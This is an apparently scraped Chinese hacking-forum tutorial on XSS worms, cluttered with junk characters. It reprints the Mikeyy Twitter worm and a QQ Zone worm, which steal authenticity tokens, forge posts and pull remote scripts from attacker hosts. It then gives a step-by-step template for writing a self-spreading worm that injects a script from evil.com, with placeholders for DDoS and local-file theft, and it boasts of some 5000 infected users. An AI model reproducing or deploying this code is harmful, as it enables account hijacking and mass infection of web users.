6 u4 O- Y/ c3 q! e. P" F7 p6 H<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
4 u- q' N6 t, M* ]9 u. n( {) ~复制代码案例:Twitter 蠕蟲五度發威
  y1 R+ o9 N" r! {第一版:
  下载 (5.1 KB)

  t; M4 b% a  b) \% D' H6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   

" |. ^1 d6 T: b  C# }+ a8 C6 H   3. function XHConn(){  
7 x# u+ i$ k4 W3 d  d
% F( f# f5 K0 }' E7 }   4.   var _0x6687x2,_0x6687x3=false;  
5 U) m$ `9 P, V0 R3 D4 c& u# G
; }2 S% K+ f9 K+ s) P. ]   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
0 L% W4 h2 Y  J5 p) x( Z; d
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
# i' u2 T% H) I
+ |# z" @  c, b   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
) b7 d) n) @7 c; ^5 y
   8.   catch(e) { _0x6687x2=false; }; }; };  
; ?  j0 H6 Z( D& ^) G8 E% }复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  
8 O& a! U- d+ H4 L  W
$ Y9 ]/ _3 `) S9 Q! G   4.   var tmp_posted=tmp_cookie.match(/posted/);  
; K( p$ M) o5 e4 L  y
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

# s. C$ ~& o3 q' x4 }- o! ]   6.   var authtoken=authreg.exec(content);  
1 r# K* K6 M; u* C% G
   7.   var authtoken=authtoken[1];  
6 A2 F0 Z2 r: u, M9 s
3 R+ ~$ m! p  ^- R   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

! h3 g. U) l# {, ~. L7 ^" t* ]  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
/ G( W. C8 `. |7 }% w
  N2 C5 v8 K: F; k6 C* H$ D  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
% B8 e, E" B( m4 Z, ^% W; Q6 [
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

8 R3 U. r7 E' v* p, J' i  N7 R  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
# n( W9 b) A; ?
- y+ F4 o) Z% P# }; F  f6 h  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

. h+ h6 j: \* h& O8 ?6 R  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

1 M) G3 T7 ~3 l7 ^$ T6 I  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
& a' y1 D9 w2 I% L" \0 X1 H3 ^
: n' c' U; {; a  ]  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
& I, D/ o- y8 _* B& M' C
( p, c) B7 z+ |. |% [; l/ g  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

' g1 @( y/ W# }$ g  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
2 d, \3 T9 {! O
- q3 M1 T# _& g% ~) a" j  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

6 d: {% w$ w; R& g! w# N  24.     
; P/ l1 K, c6 a/ |3 V; J  T& I
3 j( R+ V& \; J1 K0 D* a, y  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
9 C7 m7 f& y7 U. I- E& f
% N8 |: m# @7 D$ t  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     

% p! t5 K5 u- N$ `: Q( C* d  I& W  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
/ f+ ?: S% }- y* b2 K  ^  ~
1 O2 z! G5 p/ L3 l1 c4 @/ V  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  

7 X' I" L- H7 \+ F  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

4 U1 p0 i) q# D3 b7 A  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
" K' X, B( A0 X4 g" P6 S) p( t
& _- D# Q# h7 k6 j+ q/ Y- }! Y" `  35.   var XSS=urlencode(genXSS);  

  b! |0 s; u4 ]) o, |! b  36.   var ajaxConn2= new XHConn();  
+ \9 X5 [) z" q' w0 @
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

: W5 e$ L1 d; ]- O1 x  38.     
" D. U; N; E3 f" y) f7 G
  39. } ;  

  40. setTimeout(wait(),5250);  
* \1 R3 m+ w- K! a复制代码QQ空间XSSfunction killErrors() {return true;}

0 {6 D" E; @  g' Gwindow.onerror=killErrors;
: t9 r* {8 k. C2 N% r: h8 _3 G
+ l( r$ i& k# L8 l
! q( v, B/ |( \+ `& a
var shendu;shendu=4;
& A' I% _% r1 q7 n  E& y. g
  C: V3 u  I% M8 c  ~1 F6 e& I! ?1 J//---------------global---v------------------------------------------

$ Q2 I4 p# J. \& A. W//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
) f4 h" X& v1 `) D+ W
# Z5 n. i$ b" `  a! H4 E8 yvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();

, p& ~7 r3 E$ @) z        var gurl=document.location.href;
+ _4 K, l, m1 g  y1 i( T
        var gurle=gurl.indexOf("com/");
7 t  P& _6 J. Z0 o3 \# B5 d' u
2 }9 _# W" H3 z: _1 A6 |6 u        gurl=gurl.substring(0,gurle+3);        

        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
+ c! a3 ~$ r8 s; d# S
0 j  h% Y, U" H        visitorID=visitorID.substring(cookieS+14);
0 f& z: }4 w$ K
        cookieS=visitorID.indexOf(",");
: o" i$ b6 M  ?7 l, l% E' w2 ?2 l  t
: M( U( T% n+ u' p4 ]! n9 J$ U        visitorID=visitorID.substring(0,cookieS);
1 ?/ R$ w5 {) w3 }8 \
7 s) g( H2 S1 o4 |5 c  L; ^0 |" }        get_my_blog(visitorID);
  I% N+ W- K9 O: ^5 v
        DOshuamy();
  c# T# z. N, w/ }/ J1 K, u% s
4 b" s% X0 g+ d0 A+ c3 |9 ]

//挂马
" c( G" S4 J/ s
3 O# F; V$ G! x* E! X1 Ufunction DOshuamy(){

var ssr=document.getElementById("veryTitle");

: J, V! `4 E1 _. w( |ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

3 D. H( f8 r2 E9 Z2 M5 X}

* r$ D  _. Z  N9 s8 S
/ Z9 X1 g* v" Z8 s% j0 b' x$ W% [
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
7 S6 W2 Y/ k) ~+ t: \4 C5 m+ p
) Z2 n' K8 v- H1 Cfunction get_my_blog(visitorID){
% t1 ^5 F# m1 K" i& _; L" ?, i
7 {2 F4 F, J3 ]" d+ W; Z   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
! O) q" n6 f; q: \" [3 U1 N* y
! {$ z7 {. c  \% r   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的

& @; }' [8 }' c0 g     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
0 Y0 n* E: ~* `; @% N# a# g% v4 T
     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数

    }
0 O: Z& O+ m, H' j/ Z8 s
; a6 T! Q$ k0 J" M% r}
" J2 m! E, B( k2 Y3 O, W7 X! f# N
. m: k% @  ~" k6 [! n) r) U+ [

" T2 ~  v+ x0 O* C, L0 c//这里似乎是判断没有登录的

function get_my_blogurl(guest){
4 e# d% P2 d' ]
  var mybloglist=guest;

  var myurls;var blogids;var blogide;
! b; z8 V- R+ @
  for(i=0;i<shendu;i++){

) U4 k& c( V/ C# u0 }     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的

$ ?3 j& z# Q( B! {9 c; O# r         mybloglist=mybloglist.substring(myurls+11);

) r$ C. U0 b+ G         myurls=mybloglist.indexOf(')');

1 B3 L; p  A0 M/ A" a: K         myblogid=mybloglist.substring(0,myurls);

        }else{break;}
9 j8 {/ J3 z1 g9 }' d0 p
" k3 ?2 K; K# c}

1 D9 Q4 y4 k* t3 Rget_my_testself();    //执行这个函数

}
! u4 u' X, K& f

- H% M( _- i0 @
//这里往哪跳就不知道了

function get_my_testself(){

! Z) A5 ~1 [& {  R& A  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
2 Y5 M: n2 `3 Z0 r$ O& V0 Y) i/ k
# z# p, M( m0 \: |; @      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
7 [6 U. |! h! G* z3 O
' t* m; v  M$ T- r/ H( L* x6 J              xhr2.open("GET",url,false);     //打开上面的那个url
- E9 P1 {" l2 I7 j# K* \8 C& n! K
              xhr2.send();

1 E. O5 F% C# t6 n! [9 V              guest2=xhr2.responseText;

$ I( k8 z  u- t8 t              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

: N0 L: R. q/ `, n              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
. t# {3 E  g4 O, Q# Y1 b
2 @. x) l2 i$ U0 k                targetblogurlid=myblogid;   
! s& z! u+ ^- P" k6 s
: _, s1 V$ M8 r8 u5 @% U                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
3 a7 ~3 h# t, Q, z" |% @
) a' ^# I9 f, `6 |! ~* p                break;

; e, N3 j- K9 c% ~               }

              if(mycheckit=="-1"){

                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它
$ v  a. @% \4 n$ S& k# ?4 W6 V( P" X; B
3 E0 M6 E( L& h4 p                break;
2 o8 ?+ `# O4 {) H% Y- n3 K
               }

        }      

}

}
+ V6 T4 M9 E) I/ z( w( j6 J2 a9 @# L
+ Q- r$ Y6 k7 W7 i7 G' F# k
4 I" P& P2 Z; \# ?
//--------------------------------------  

' L' }; s; V1 F5 s9 L  ~//根据浏览器创建一个XMLHttpRequest对象

# D0 O+ |/ V3 Ifunction createXMLHttpRequest(){

    var XMLhttpObject=null;  
3 w8 x' x% i; B4 U
: D8 `0 _* w, J4 x6 N/ P: K$ y+ w    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  
" K: ?& i3 g  U
9 \8 O; _  ~) r$ P      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
# q% N% Z3 C1 j% J& E* O( N5 F
        for(var i=0;i<MSXML.length;i++)  
' I: U: d+ |3 L* z. k
        {  
# y! M4 i: T" F) x- d3 C
            try  
$ O7 B3 O" A/ P
            {  
2 ~! a- V, G& k3 s
0 P. o& @2 H( t; p4 T                XMLhttpObject=new ActiveXObject(MSXML);  
  Q' @7 s7 \* W- Q- i9 S+ Z2 _7 t* e
6 W* E8 ]3 j* p: o; a                break;  
" U/ A- ^+ f* R1 X. z" f5 b
            }  
; t; n0 Z. h" ~* ~  E" x# ]7 V
            catch (ex) {  
6 {: i) l- I; z6 C) C9 T2 ]0 K
            }  
  b* N0 b' t  Q4 B. J
2 P, }# W1 x0 I4 k+ h# n         }  
  @. W4 n6 |/ i/ |" h
      }

return XMLhttpObject;

}  

& _" B& ^% L- W% F; k

//这里就是感染部分了

3 C: X# l; L# }1 vfunction add_js(visitorID,targetblogurlid,gurl){

" A3 S  A( e0 u2 O& L7 F! ~var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
4 s* r; g9 k/ @; b8 _0 h& k+ s
, k3 w1 s7 i  ^. f2 b' h2 w% h+ Ps2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

}

7 u  h) s& G9 X% E7 Z

function add_jsdel(visitorID,targetblogurlid,gurl){
. E% W9 A0 ^! i2 c1 X
" @3 Q7 q" O$ X+ gvar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

* x  J7 H+ K% ~$ Es2.type='text/javascript';

& u' o6 {: f- K$ T- @7 A1 T8 Mdocument.getElementsByTagName('head').item(0).appendChild(s2);

* q  h2 I8 F+ ?+ R/ b4 b}
/ k3 k( g- R8 z8 J) T1 U* ?复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
, [. `, J$ f3 h1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
) {& H! U4 a$ C4 S/ W: {
1 C2 |- }$ ]0 a- G2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
$ t3 @0 ?2 x5 v, w
% s7 {/ ^" ~' {" T% f" m# ?0 n, i综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

8 r; e6 ?) \  N3 m$ h7 I3 G首先,自然是判断不同浏览器,创建不同的对象var request = false;
$ U0 B0 }" x- N/ Z1 X. U" t" }
if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

8 [2 o9 Z6 ?3 j/ d  w- X  H$ Fif(request.overrideMimeType) {
! [6 k! F: m$ d: F& l
request.overrideMimeType('text/xml');
* r4 _$ {7 l% p6 i' \! p8 m6 k6 A
}

} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

; K* z; H! ]& X3 y/ z: ?' Mfor(var i=0; i<versions.length; i++) {

try {

request = new ActiveXObject(versions);
* n6 A, J% n% m- e
} catch(e) {}

! e# i' O9 X- ^) X: c}

5 y6 S+ E! v! t}
7 q) V- U$ y0 q" |
xmlHttpReq=request;
/ M, g2 R# u+ U复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
6 N/ N/ X8 ~+ a$ n; ^* g2 Z& Q
9 ?+ s5 Z" A: J/ M1 b* B9 P+ K        var Browser_Name=navigator.appName;
2 s! x) V/ |" `2 L8 ]
7 u3 W1 W. N& M0 b+ I/ i1 M5 s        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;
3 v( \% p5 I$ I- F+ |: _, m
! r+ B' w2 U# r; F/ f        
9 j  z7 ?8 T# O* H8 F, s3 f
        var Actual_Version,Actual_Name;

, [3 M: Q9 A4 n5 f# c: Q        

. ], S* m( v% N# s; B# V        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
) b+ o1 [  Y+ s, m# ^+ R. k0 k
        var is_NN=(Browser_Name=="Netscape");

7 k+ p: Y. p0 h! p" H, l7 o' b( k        var is_Ch=(Browser_Name=="Chrome");

        
8 s6 ]( M! L$ T/ |. j
        if(is_NN){
0 P* ^- k/ Q0 a% b; T: k
) r- r( U2 @% G% k. ~7 S            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");

6 N3 P1 j" S' f! U) G                var Version=Browser_Agent.indexOf(" ",Split_Sign);

! T8 {& x( J$ j$ B" J                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);


& s! |; K4 g5 L+ m# b% d! q
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

0 g: F& Y" K* v5 v% E2 ]            }

  I% l! E6 b3 H            else{

' o& i  z  N4 K7 @0 p* y                Actual_Version=Browser_Version;
6 P1 X5 d" k4 Y0 S7 d
                Actual_Name=Browser_Name;

: Q( ]; i4 o3 Y5 y2 p& b- Y            }
1 i; n: `$ |2 o" D1 b, D4 m
        }
  h  L0 _& C1 C2 n  L
        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
' a  r4 }0 }/ \) z" g; z
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
1 {$ v8 {6 {$ c- D
# c3 ?" i# L4 d- @1 B* {( }) G- l  y* Q            Actual_Name=Browser_Name;

            

5 [( `9 Q5 b7 x1 R            if(Browser_Agent.indexOf("Maxthon")!=-1){

) T# ^* P4 I4 M  @& H                Actual_Name+="(Maxthon)";

            }
3 ]% r( ~( H% Z+ M- c" D0 L/ n6 g
            else if(Browser_Agent.indexOf("Opera")!=-1){
* X2 K: b- P5 F7 }: P
                Actual_Name="Opera";
1 J4 Y3 \6 g7 d& f9 Y
                var tempstart=Browser_Agent.indexOf("Opera");
) a4 |2 \# a# b. H$ T, Z3 T6 n* `
                var tempend=Browser_Agent.length;
  ^! G' O1 P& L% l8 w; }! e9 U( N
* B8 d/ ~9 x4 J* ^+ W* ~                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
* ~9 p/ c8 E- S- \
            }

        }

) d) I6 A. {; g& K8 s. `        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");

& J2 ?; H, j( a& r6 h9 |+ V            var Version_End=Browser_Agent.indexOf(";",Version_Start);

6 ^' w. |- v( s0 |! M            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
6 q; @0 Y( f- U* h' M; Y
            Actual_Name=Browser_Name;
+ U8 a# `4 Z  s6 M2 w
: [  y6 l6 C; w0 @3 b            

) q4 Z! M& N# h9 |            if(Browser_Agent.indexOf("Maxthon")!=-1){
# e( ^, L) Y3 T) q3 x3 x9 n- k
; C8 ?3 l0 N% _  b( m" R* n3 ^5 Q                Actual_Name+="(Maxthon)";
9 z  \+ i, T# m7 e
. X9 \# O' j! \8 C1 x            }

$ C" Q9 D. J% r7 n% n            else if(Browser_Agent.indexOf("Opera")!=-1){
  l6 m& j" H  @& A( w$ A
                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");
7 H7 Z" M* k2 F
                var tempend=Browser_Agent.length;
8 F% v- b1 S: U) u6 A1 T
5 v, G/ T7 V/ ]% M                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
! j# X% ^$ z4 h% e' o! z
            }
5 V" T2 l8 F- w+ l
/ k7 i) i1 ^7 B, p& v5 `$ w$ ^        }
% b8 B' l, W& K& b& F
0 b7 _7 I5 Q! }0 ^# g; h6 \        else{
8 e2 N0 {, A# @& |5 {+ h. h, _
            Actual_Name="Unknown Navigator"

5 S/ u! U4 |$ m: A            Actual_Version="Unknown Version"
) c4 j) @% _! _
        }



        navigator.Actual_Name=Actual_Name;
' E# |. }+ |  v% d% n
6 ]2 P% i3 n1 |- _( @2 v6 j4 x        navigator.Actual_Version=Actual_Version;
: r. w5 H) V4 J0 i
* L$ t% A2 d$ w        

        this.Name=Actual_Name;

  Y) `9 D. {- Q! p+ m# P' Q        this.Version=Actual_Version;
0 s* l/ g" ^* {
    }

- w' N: |, \! C( v    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
1 n' l' z1 V" u' Q6 D  H) [
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
- B: d7 m$ E% J. h2 K1 O" t
. F: X3 ?' M, f& ~    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
- H' C+ }8 I5 b: H+ g, s2 y
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
$ g/ {+ X1 _/ G1 Q9 M复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
9 U& n8 {6 F7 g6 y
$ X- G, i% j& O6 ~" l8 X3 G0 x0 dxmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;
- f% H0 }! m1 ]9 H
var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

; K, I, V2 p" h1 y" r7 l& Wwhile ((result = patt.exec(resource)) != null)  {
/ T+ H( Q  a8 v$ O% ^' f' ^' L
id++;

}
; F$ Z" G, I& p1 ?复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
. _" ?* I* n5 v- N/ a
, L, I$ q* z" ~  z" m  `7 yno=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

9 I' [5 }. ?5 a  D9 s! n- Fvar post="wd="+wd;

' w& K* b2 ?4 \+ n) ~7 O" W1 Z9 HxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

" @7 C5 P( {  H( M: o  ExmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

3 `$ Y0 P0 u  n; D: @6 B  c- z0 @xmlHttpReq.setRequestHeader("content-length",post.length);

/ q1 u. b0 I7 m! I3 O" _xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

9 Z* t0 l7 {3 }$ I3 s( _7 [xmlHttpReq.send(post);

5 n- i9 B! @" {/ `0 U}
  Q0 E1 x. W2 }+ E: E: ~复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
  c3 O+ ~4 O* a
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

* E* F2 h, Q6 x+ {+ P7 Cvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

/ E5 t1 a3 b3 h$ _var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

0 E7 `" n0 y2 @' k; v6 ]& x# bvar post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
2 B5 U! F* P/ \# `! H
( u. ~' u* |* l' qxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
" _$ `0 V$ i4 Y( Z( ~# U4 E, [
xmlHttpReq.setRequestHeader("content-length",post.length);

, s4 D) Y2 A" x9 P$ [9 J: DxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
+ L( W- P7 j, [% r9 Z
xmlHttpReq.send(post);                 //把传播的信息 POST出去.

: u* V# S3 t' E2 e4 J}
& _/ g+ C$ f  u& x$ R0 m& h0 f复制代码-----------------------------------------------------总结-------------------------------------------------------------------
& J& e. b$ J$ o6 \8 m1 ~4 x4 q2 f4 N


( \( x7 t8 m6 N本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
. K1 G) E  \# F9 W( H操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
8 T6 y% s# D9 f/ d
4 H4 q- i' L; P5 Y( k2 {



2 T& B5 M6 W6 u

# m' B. i+ q$ U. }! f5 ^4 K
" E" `, R; u" N8 l本文引用文档资料:
$ O5 w( o) }; Q4 _
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
' ?/ i& T( K3 GOther XmlHttpRequest tricks (Amit Klein, January 2003)
8 f9 n& s2 ]# m: n, i2 s: C"Cross Site Tracing" (Jeremiah Grossman, January 2003)
! H# z6 [+ L* t1 mhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
+ U6 I5 g6 E% m4 aXeye Team http://xeye.us/